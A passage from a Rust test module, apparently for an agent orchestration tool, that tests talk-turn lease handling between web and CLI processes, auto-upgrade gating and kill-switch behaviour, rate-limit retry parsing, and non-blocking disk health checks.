22034        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22035        let turn = ui.begin_talk_turn(id).expect("claim turn");
22036        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22037        assert!(
22038            !ui.is_thinking("20260901-000000-other"),
22039            "one talk's turn does not make another talk busy"
22040        );
22041        drop(turn);
22042        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22043    }
22044
22045    #[test]
22046    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22047        let home = TempDir::new().expect("temp home");
22048        let talks = Talks::at(home.path().join("talks"));
22049        let ui = Ui::new(
22050            Queue::at(home.path().join("queue")),
22051            Questions::at(home.path().join("questions")),
22052            talks.clone(),
22053            home.path().join("runs"),
22054            home.path().to_path_buf(),
22055            PathBuf::from("/repo"),
22056        )
22057        .with_worktrees_root(home.path().join("wt"));
22058        let id = "20260901-000000-cross";
22059
22060        let other = Talks::at(home.path().join("talks"))
22061            .claim_turn(id)
22062            .expect("claim")
22063            .expect("the other process wins");
22064        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22065        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22066        assert!(
22067            matches!(
22068                ui.begin_talk_turn_unless_pending(id).expect("start"),
22069                TalkTurnStart::Foreign
22070            ),
22071            "a foreign holder is refused, not queued behind"
22072        );
22073        assert!(
22074            !ui.talk_turns.lock().unwrap().live.contains(id),
22075            "a refused claim leaves no in-process entry behind"
22076        );
22077        drop(other);
22078        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22079        assert!(talks.turn_held(id), "the web turn holds the lease");
22080        drop(turn);
22081        assert!(
22082            !talks.turn_held(id),
22083            "dropping the guard releases the lease"
22084        );
22085    }
22086
22087    fn consult_question(ui: &Ui) -> Question {
22088        let mut q = Question::new(
22089            "20260901-000000-consult".to_owned(),
22090            "implement".to_owned(),
22091            "impl-A".to_owned(),
22092            "Which backend?".to_owned(),
22093            String::new(),
22094            vec!["SQLite".to_owned(), "Redis".to_owned()],
22095        );
22096        ui.questions.put(&mut q).expect("question");
22097        q
22098    }
22099
22100    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22101        (
22102            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22103            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22104        )
22105    }
22106
22107    #[tokio::test]
22108    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22109        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22110        let q = consult_question(&ui);
22111        let talk = ui.talks.get(&id).expect("talk");
22112        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22113        let before = consult_snapshot(&ui, &q, &id);
22114        let cli_talks = Talks::at(ui.home.join("talks"));
22115        assert_eq!(
22116            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22117                .await
22118                .expect("CLI starter"),
22119            crate::consult::Started::Busy
22120        );
22121        assert_eq!(consult_snapshot(&ui, &q, &id), before);
22122        assert!(ui.is_thinking(&id));
22123        drop(guard);
22124        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22125    }
22126
22127    #[tokio::test]
22128    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22129        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22130        let q = consult_question(&ui);
22131        let talk = ui.talks.get(&id).expect("talk");
22132        let started = tmp.path().join("started");
22133        let release = tmp.path().join("release");
22134        let script = tmp.path().join("consult-agent.sh");
22135        std::fs::write(
22136            &script,
22137            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
22138        )
22139        .expect("script");
22140        let mut cfg = stub_config();
22141        cfg.agents[0].id = "mock".to_owned();
22142        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22143        cfg.agents[0].env = std::collections::BTreeMap::from([
22144            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22145            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22146        ]);
22147        let questions = ui.questions.clone();
22148        let cli_talks = Talks::at(ui.home.join("talks"));
22149        let cli_q = q.clone();
22150        let turn = tokio::spawn(async move {
22151            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22152        });
22153        let ready = tokio::time::timeout(Duration::from_secs(30), async {
22154            while !started.exists() {
22155                tokio::time::sleep(Duration::from_millis(10)).await;
22156            }
22157        })
22158        .await;
22159        // Always release and join the agent, even if readiness or the web
22160        // request fails, so a failed assertion cannot leave a turn behind.
22161        let refusal = if ready.is_ok() {
22162            let before = consult_snapshot(&ui, &q, &id);
22163            let result = talk_say(
22164                State(Arc::clone(&ui)),
22165                Path(id.clone()),
22166                Ok(Json(NewTalkTurn {
22167                    reply_to: None,
22168                    text: "another message".to_owned(),
22169                    attachments: Vec::new(),
22170                })),
22171            )
22172            .await;
22173            Some((result, before, consult_snapshot(&ui, &q, &id)))
22174        } else {
22175            None
22176        };
22177        std::fs::write(&release, "").expect("release agent");
22178        let done = turn.await.expect("join CLI turn");
22179        ready.expect("agent started before deadline");
22180        let (result, before, after) = refusal.expect("web request");
22181        let error = result.expect_err("web must refuse the CLI's turn");
22182        assert_eq!(error.status, StatusCode::CONFLICT);
22183        assert!(error.message.contains("a turn is already running"));
22184        assert_eq!(
22185            after, before,
22186            "refusal preserves question, draft and history"
22187        );
22188        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22189        let guard = ui
22190            .begin_talk_turn(&id)
22191            .expect("web claim")
22192            .expect("free again");
22193        drop(guard);
22194    }
22195
22196    #[test]
22197    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22198        let home = TempDir::new().expect("temp home");
22199        let talks = Talks::at(home.path().join("talks"));
22200        let ui = Ui::new(
22201            Queue::at(home.path().join("queue")),
22202            Questions::at(home.path().join("questions")),
22203            talks.clone(),
22204            home.path().join("runs"),
22205            home.path().to_path_buf(),
22206            PathBuf::from("/repo"),
22207        )
22208        .with_worktrees_root(home.path().join("wt"));
22209        let id = "20260901-000000-order";
22210        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22211        // Hold the slot mutex so the drop can finish the lease but not the slot.
22212        let slots = ui.talk_turns.lock().unwrap();
22213        let dropper = std::thread::spawn(move || drop(turn));
22214        let start = std::time::Instant::now();
22215        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22216            std::thread::sleep(Duration::from_millis(5));
22217        }
22218        assert!(!talks.turn_held(id), "the lease is released first");
22219        assert!(slots.live.contains(id), "the slot is still held meanwhile");
22220        drop(slots);
22221        dropper.join().expect("join");
22222        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22223    }
22224
22225    #[tokio::test]
22226    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22227        let fx = Fixture::start().await;
22228        let mut beat = crate::daemon::Status::new();
22229        beat.worker_protocol = None;
22230        beat.pid = 4321;
22231        beat.updated_at = jiff::Timestamp::now();
22232        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22233            .expect("publish a heartbeat");
22234
22235        let res = fx.post("/api/upgrade", None).await;
22236        assert_eq!(res.status, 409);
22237    }
22238
22239    /// [`should_spawn_recheck`] must refuse for the same two reasons
22240    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
22241    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
22242    /// Purely a predicate over config and the environment - no network, no
22243    /// disk, no runtime - so unlike the fixture-based tests around it this
22244    /// one needs neither.
22245    #[test]
22246    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22247        assert!(!should_spawn_recheck(&crate::config::Update {
22248            mode: UpdateMode::Off,
22249            interval: None,
22250            auto_restart: false,
22251        }));
22252
22253        // SAFETY: single-threaded as far as this variable goes, the same
22254        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22255        unsafe {
22256            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22257        }
22258        let killed = should_spawn_recheck(&crate::config::Update {
22259            mode: UpdateMode::Notify,
22260            interval: None,
22261            auto_restart: false,
22262        });
22263        unsafe {
22264            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22265        }
22266        assert!(
22267            !killed,
22268            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22269             one-time startup check"
22270        );
22271
22272        assert!(should_spawn_recheck(&crate::config::Update {
22273            mode: UpdateMode::Notify,
22274            interval: None,
22275            auto_restart: false,
22276        }));
22277    }
22278
22279    /// [`recheck_poll_period`] must track a configured `[update] interval`
22280    /// shorter than its own default ceiling - a fixed sleep here would leave
22281    /// an operator's short interval waiting on the next wake-up instead of on
22282    /// `should_check`, which is the same bug this whole task exists to fix,
22283    /// just one level down.
22284    #[test]
22285    fn recheck_poll_period_tracks_a_short_configured_interval() {
22286        let short = crate::config::Update {
22287            mode: UpdateMode::Notify,
22288            interval: Some("1m".to_owned()),
22289            auto_restart: false,
22290        };
22291        let period = recheck_poll_period(&short);
22292        assert!(
22293            period <= Duration::from_secs(30),
22294            "a one-minute interval must wake the task far sooner than the \
22295             default ceiling, or the deck would not notice within the \
22296             interval the operator configured: got {period:?}"
22297        );
22298
22299        let default = crate::config::Update {
22300            mode: UpdateMode::Notify,
22301            interval: None,
22302            auto_restart: false,
22303        };
22304        assert_eq!(
22305            recheck_poll_period(&default),
22306            UPDATE_RECHECK_POLL_MAX,
22307            "the default day-long interval should poll at the (capped) \
22308             ceiling rather than needlessly often"
22309        );
22310    }
22311
22312    /// [`update_recheck_due`] must not repeat a check made moments ago, the
22313    /// same throttle `updater::Checker::should_check` already gives the
22314    /// CLI's notify mode. Built over an explicit state file via
22315    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
22316    /// write the operator's real `last_update_check.json` - and therefore
22317    /// cannot flake on whatever that file happens to say on the machine
22318    /// running the test.
22319    #[test]
22320    fn recheck_skips_the_network_before_the_interval_elapses() {
22321        let dir = TempDir::new().expect("temp dir");
22322        let path = dir.path().join("state.json");
22323        let state = kaishin::UpdateCheckState {
22324            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22325            last_known_latest: None,
22326            last_known_url: None,
22327        };
22328        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22329
22330        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22331        assert!(
22332            !update_recheck_due(&checker, None),
22333            "a check made moments ago must not be repeated before the \
22334             configured interval elapses"
22335        );
22336    }
22337
22338    /// An upgrade this deck already started must not be raced by a recheck
22339    /// that discovers a newer release mid-install - regardless of what
22340    /// `should_check` says, which is why the state file here is missing
22341    /// entirely: read alone, that alone would answer "never checked, go
22342    /// ahead".
22343    #[test]
22344    fn recheck_defers_to_an_upgrade_already_in_flight() {
22345        let dir = TempDir::new().expect("temp dir");
22346        let path = dir.path().join("state.json");
22347        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22348        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22349
22350        assert!(
22351            !update_recheck_due(&checker, Some(&progress)),
22352            "a recheck must not run while an upgrade this deck started is \
22353             still moving"
22354        );
22355    }
22356
22357    #[tokio::test]
22358    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22359        // The same env var the background check honours (`disabled_by_env`)
22360        // must also stop a button press before it ever calls
22361        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22362        // means "never contact GitHub from this process", and a tap on the
22363        // upgrade button must not override that any more than a broken
22364        // `magi.toml` may. Left unset, this fixture's default config would
22365        // otherwise reach a real, unauthenticated GitHub call.
22366        //
22367        // SAFETY: single-threaded as far as this variable goes - nothing else
22368        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22369        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22370        unsafe {
22371            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22372        }
22373        let fx = Fixture::start().await;
22374        let res = fx.post("/api/upgrade", None).await;
22375        unsafe {
22376            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22377        }
22378        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22379        let body = res.json();
22380        assert!(body["to"].is_null(), "there was no release to move to");
22381        assert!(body["parked"].is_null(), "and nothing was parked");
22382        assert!(
22383            body["detail"]
22384                .as_str()
22385                .unwrap()
22386                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22387            "{body:?}"
22388        );
22389    }
22390
22391    #[test]
22392    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22393        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22394        let mut cfg = Update::default();
22395        assert!(matches!(
22396            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22397            Skip(_)
22398        ));
22399        cfg.auto_restart = true;
22400        assert_eq!(
22401            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22402            Trigger
22403        );
22404        assert_eq!(
22405            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22406            Wait
22407        );
22408        for (disabled, moving, failed) in [
22409            (true, false, None),
22410            (false, true, None),
22411            (false, false, Some("v2")),
22412        ] {
22413            assert!(matches!(
22414                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22415                Skip(_)
22416            ));
22417        }
22418        assert_eq!(
22419            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22420            Trigger
22421        );
22422        cfg.mode = UpdateMode::Off;
22423        assert!(matches!(
22424            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22425            Skip(_)
22426        ));
22427    }
22428
22429    #[test]
22430    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22431        let home = TempDir::new().unwrap();
22432        let ui = idle_ui(&home);
22433        assert!(!ui.auto_upgrade_busy());
22434        let directory = home.path().join("workers/jobs/abcdef");
22435        std::fs::create_dir_all(&directory).unwrap();
22436        let mut job = crate::worker::Job {
22437            id: "abcdef".into(),
22438            sequence: 1,
22439            kind: "scheduler".into(),
22440            key: "scheduler".into(),
22441            payload: serde_json::json!({}),
22442            generation: "test".into(),
22443            version: None,
22444            status: crate::worker::Status::Running,
22445            result: None,
22446            pid: None,
22447            created_at: 0,
22448            finished_at: None,
22449        };
22450        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22451        let write = |job: &crate::worker::Job| {
22452            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22453        };
22454        write(&job);
22455        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22456        for kind in ["task", "chat"] {
22457            job.kind = kind.into();
22458            write(&job);
22459            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22460        }
22461        drop(lease);
22462        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22463        // the descriptor. Check the real decision directly: a raw flock probe
22464        // here could itself be inherited and keep the worker looking busy.
22465        assert!(
22466            !ui.auto_upgrade_busy(),
22467            "completed execution permits updates"
22468        );
22469        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22470        assert!(
22471            ui.auto_upgrade_busy(),
22472            "unreadable worker state defers updates"
22473        );
22474    }
22475
22476    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22477        Box::pin(async { anyhow::bail!("test installer failed") })
22478    }
22479
22480    #[tokio::test]
22481    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22482        let home = TempDir::new().unwrap();
22483        std::fs::write(
22484            home.path().join("magi.toml"),
22485            "[update]\nauto_restart = true\n",
22486        )
22487        .unwrap();
22488        let mut ui = idle_ui(&home);
22489        ui.repo = home.path().to_path_buf();
22490        // Every successful trigger in this test uses this seam, never the installer.
22491        ui.upgrade_runner = fail_test_upgrade;
22492        let ui = Arc::new(ui);
22493        let latest = || {
22494            Some(kaishin::LatestRelease {
22495                tag_name: "v999.0.0".into(),
22496                html_url: String::new(),
22497            })
22498        };
22499        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22500        assert_eq!(
22501            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22502                .await
22503                .status(),
22504            StatusCode::NO_CONTENT
22505        );
22506        assert!(updater::read_progress(home.path()).is_none());
22507        ui.talk_turns.lock().unwrap().live.clear();
22508        let gate = ui.upgrade_gate.lock().await;
22509        assert_eq!(
22510            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22511                .await
22512                .status(),
22513            StatusCode::CONFLICT
22514        );
22515        drop(gate);
22516        assert_eq!(
22517            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22518                .await
22519                .status(),
22520            StatusCode::ACCEPTED
22521        );
22522        let progress = updater::read_progress(home.path()).unwrap();
22523        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22524        assert_eq!(progress.stage, updater::Stage::Downloading);
22525        assert!(progress.parked_run.is_none());
22526        assert!(ui.start_detached_loop().await.is_err());
22527        assert!(ui.start_loop(None).is_err());
22528        assert!(ui.begin_resume("late").is_err());
22529        tokio::time::timeout(Duration::from_secs(2), async {
22530            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22531                tokio::task::yield_now().await;
22532            }
22533        })
22534        .await
22535        .unwrap();
22536        let progress = updater::read_progress(home.path()).unwrap();
22537        assert_eq!(progress.stage, updater::Stage::Failed);
22538        assert_eq!(
22539            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22540                .await
22541                .status(),
22542            StatusCode::NO_CONTENT
22543        );
22544        // The manual shared path records the same progress and runs the same seam.
22545        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22546        assert_eq!(
22547            finish_upgrade_request(&ui, result).status(),
22548            StatusCode::ACCEPTED
22549        );
22550        assert_eq!(
22551            updater::read_progress(home.path()).unwrap().trigger,
22552            updater::UpgradeTrigger::Manual
22553        );
22554        tokio::time::timeout(Duration::from_secs(2), async {
22555            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22556                tokio::task::yield_now().await;
22557            }
22558        })
22559        .await
22560        .unwrap();
22561    }
22562
22563    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22564        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22565        p.stage = stage;
22566        p
22567    }
22568
22569    #[test]
22570    fn busy_stages_match_the_ui_set() {
22571        use crate::updater::Stage;
22572        assert!(APP_JS.contains(
22573            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22574        ));
22575        for s in [
22576            Stage::Downloading,
22577            Stage::Replaced,
22578            Stage::Parking,
22579            Stage::Restarting,
22580        ] {
22581            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22582        }
22583        for s in [Stage::Done, Stage::Failed] {
22584            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22585        }
22586        assert!(upgrade_in_motion(None).is_none());
22587    }
22588
22589    #[tokio::test]
22590    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22591        use crate::updater::Stage;
22592        for stage in [
22593            Stage::Downloading,
22594            Stage::Replaced,
22595            Stage::Parking,
22596            Stage::Restarting,
22597        ] {
22598            let fx = Fixture::start().await;
22599            let seeded = seeded_progress(stage);
22600            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22601            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22602                .expect("read");
22603
22604            let res = fx.post("/api/upgrade", None).await;
22605            assert_eq!(res.status, 409, "{stage:?}");
22606            let err = res.json()["error"].as_str().unwrap().to_owned();
22607            assert!(err.contains("already in progress"), "{err}");
22608            assert!(err.contains(stage.as_str()), "{err}");
22609
22610            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22611                .expect("read");
22612            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22613            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22614                .unwrap_or_default();
22615            assert!(!log.contains("signalling HANDOVER"), "{log}");
22616        }
22617    }
22618
22619    #[test]
22620    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22621        assert_eq!(
22622            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22623            Some(3723)
22624        );
22625        assert_eq!(
22626            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22627            Some(60)
22628        );
22629        assert_eq!(
22630            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22631            Some(0)
22632        );
22633        for message in [
22634            "permission denied",
22635            "GitHub API rate limit exceeded",
22636            "GitHub rate limit (resets in unknown)",
22637            "GitHub rate limit (resets in 18446744073709551615d)",
22638        ] {
22639            assert_eq!(upgrade_retry_after(message), None, "{message}");
22640        }
22641    }
22642
22643    #[tokio::test]
22644    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22645        let home = TempDir::new().unwrap();
22646        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22647        ui.start_loop(None).unwrap();
22648        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22649        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22650        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22651        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22652        let response = finish_upgrade_request(&ui, result);
22653        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22654        assert_eq!(response.headers()["retry-after"], "120");
22655        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22656            .await
22657            .unwrap();
22658        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22659        assert!(body["error"].as_str().unwrap().contains(reason));
22660        assert_eq!(body["retry_after_secs"], 120);
22661        assert!(body["retry_at"].as_u64().is_some());
22662        for _ in 0..2 {
22663            let view = health(State(ui.clone())).await.unwrap().0;
22664            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22665            assert_eq!(failure, body);
22666        }
22667        assert_eq!(
22668            std::fs::read(updater::progress_path(home.path())).unwrap(),
22669            before
22670        );
22671        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22672        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22673        // A conflicting request must not erase the actionable earlier failure.
22674        let gate = ui.upgrade_gate.lock().await;
22675        assert_eq!(
22676            upgrade_post(State(ui.clone())).await.status(),
22677            StatusCode::CONFLICT
22678        );
22679        drop(gate);
22680        assert!(
22681            health(State(ui.clone()))
22682                .await
22683                .unwrap()
22684                .0
22685                .upgrade_request_error
22686                .is_some()
22687        );
22688        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22689        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22690        assert!(
22691            health(State(ui.clone()))
22692                .await
22693                .unwrap()
22694                .0
22695                .upgrade_request_error
22696                .is_none()
22697        );
22698        let live = ui.lock_loop().live.take().unwrap();
22699        live.stop.stop();
22700        live.handle.await.unwrap();
22701    }
22702
22703    #[tokio::test]
22704    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22705        use crate::updater::Stage;
22706        let repo = TempDir::new().expect("repo dir");
22707        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22708            .expect("write magi.toml");
22709        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22710        for stage in [Stage::Done, Stage::Failed] {
22711            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22712            let res = fx.post("/api/upgrade", None).await;
22713            assert_eq!(res.status, 200, "{stage:?}");
22714        }
22715        // No record at all, and the gate was released by the earlier calls.
22716        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22717        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22718    }
22719
22720    #[tokio::test]
22721    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22722        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22723        // and the route answers from its own logic.
22724        //
22725        // This test used to lean on the fixture's placeholder repo failing
22726        // config discovery, which left `mode = "notify"` - and a live,
22727        // unauthenticated call to the GitHub releases API inside a unit test.
22728        // GitHub allows 60 of those an hour per address, so the suite went red
22729        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22730        // long as somebody kept re-running it: every attempt spent another
22731        // request. Six reruns across four pull requests were charged to that
22732        // before it was read as a rate limit rather than a flake.
22733        //
22734        // What the assertion is about is the "already current" branch, which
22735        // is reached by there being no newer release *or* nowhere to look. The
22736        // second one needs no network and cannot be rate limited.
22737        let repo = TempDir::new().expect("repo dir");
22738        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22739            .expect("write magi.toml");
22740        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22741
22742        // It must answer 200 and leave the process alone: restarting for an
22743        // upgrade that did not happen parks the run in flight and drops every
22744        // connection to pay for nothing. A probe against a deck already on the
22745        // newest build did exactly that, which is how this case got its own
22746        // branch.
22747        let res = fx.post("/api/upgrade", None).await;
22748        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22749        let body = res.json();
22750        assert!(body["to"].is_null(), "there was no release to move to");
22751        assert!(body["parked"].is_null(), "and nothing was parked");
22752        assert!(
22753            body["detail"]
22754                .as_str()
22755                .unwrap()
22756                .contains("nothing restarted"),
22757            "{body:?}"
22758        );
22759    }
22760
22761    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22762        tokio::time::timeout(Duration::from_secs(5), async {
22763            while state.lock().unwrap().in_flight {
22764                tokio::task::yield_now().await;
22765            }
22766        })
22767        .await
22768        .expect("capacity scan finished");
22769    }
22770
22771    fn disk_test_scope(home: &FsPath) -> DiskScope {
22772        DiskScope {
22773            runs: home.join("runs"),
22774            worktrees: home.join("worktrees"),
22775            cache: Some(home.join("cache")),
22776        }
22777    }
22778
22779    fn known_disk_capacity() -> DiskCapacity {
22780        DiskCapacity {
22781            free_bytes: Some(100),
22782            runs_bytes: Some(200),
22783            worktrees_bytes: Some(300),
22784            cache_bytes: Some(400),
22785        }
22786    }
22787
22788    #[tokio::test]
22789    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22790        let home = TempDir::new().unwrap();
22791        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22792        let mut ui = delta_test_ui(home.path());
22793        let state = Arc::get_mut(&mut ui).unwrap();
22794        state.repo = home.path().to_owned();
22795        state.worktrees_root = home.path().join("worktrees");
22796        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22797        ui.monitor
22798            .worker_started
22799            .store(true, std::sync::atomic::Ordering::SeqCst);
22800        let cfg = deputy_config(&ui.repo);
22801        let scope = DiskScope::of(&ui, cfg.as_ref());
22802        let (started, reached) = tokio::sync::oneshot::channel();
22803        let (release, blocked) = std::sync::mpsc::channel();
22804        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22805            started.send(()).unwrap();
22806            blocked.recv().unwrap();
22807            known_disk_capacity()
22808        });
22809        assert!(cold.runs_bytes.is_none());
22810        tokio::time::timeout(Duration::from_secs(5), reached)
22811            .await
22812            .unwrap()
22813            .unwrap();
22814
22815        let requests: Vec<_> = (0..4)
22816            .map(|_| {
22817                let ui = ui.clone();
22818                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22819            })
22820            .collect();
22821        tokio::time::timeout(Duration::from_secs(5), async {
22822            for request in requests {
22823                let view = request.await.unwrap();
22824                let disk = serde_json::to_value(view.disk).unwrap();
22825                assert!(disk["runs_bytes"].is_null());
22826                assert!(disk["worktrees_bytes"].is_null());
22827                // Free space is a cheap live observation even while the
22828                // recursive capacity measurement remains blocked.
22829                assert!(disk["free_bytes"].is_u64());
22830            }
22831        })
22832        .await
22833        .expect("health must return while the measurement is causally blocked");
22834        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22835        // No competing worker can have published while the first holds flight.
22836        assert!(
22837            ui.monitor
22838                .disk
22839                .lock()
22840                .unwrap()
22841                .capacity
22842                .runs_bytes
22843                .is_none()
22844        );
22845        release.send(()).unwrap();
22846        wait_for_disk_scan(&ui.monitor.disk).await;
22847        assert_eq!(
22848            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22849            Some(200)
22850        );
22851    }
22852
22853    #[tokio::test]
22854    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22855        let home = TempDir::new().unwrap();
22856        let scope = disk_test_scope(home.path());
22857        let state = Arc::new(Mutex::new(DiskObservation {
22858            scope: Some(scope.clone()),
22859            capacity: known_disk_capacity(),
22860            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22861            ..Default::default()
22862        }));
22863        let (started, reached) = tokio::sync::oneshot::channel();
22864        let (release, blocked) = std::sync::mpsc::channel();
22865        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22866            started.send(()).unwrap();
22867            blocked.recv().unwrap();
22868            DiskCapacity {
22869                runs_bytes: Some(250),
22870                ..Default::default()
22871            }
22872        });
22873        assert_eq!(before.cache_bytes, Some(400));
22874        tokio::time::timeout(Duration::from_secs(5), reached)
22875            .await
22876            .unwrap()
22877            .unwrap();
22878        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22879        for _ in 0..4 {
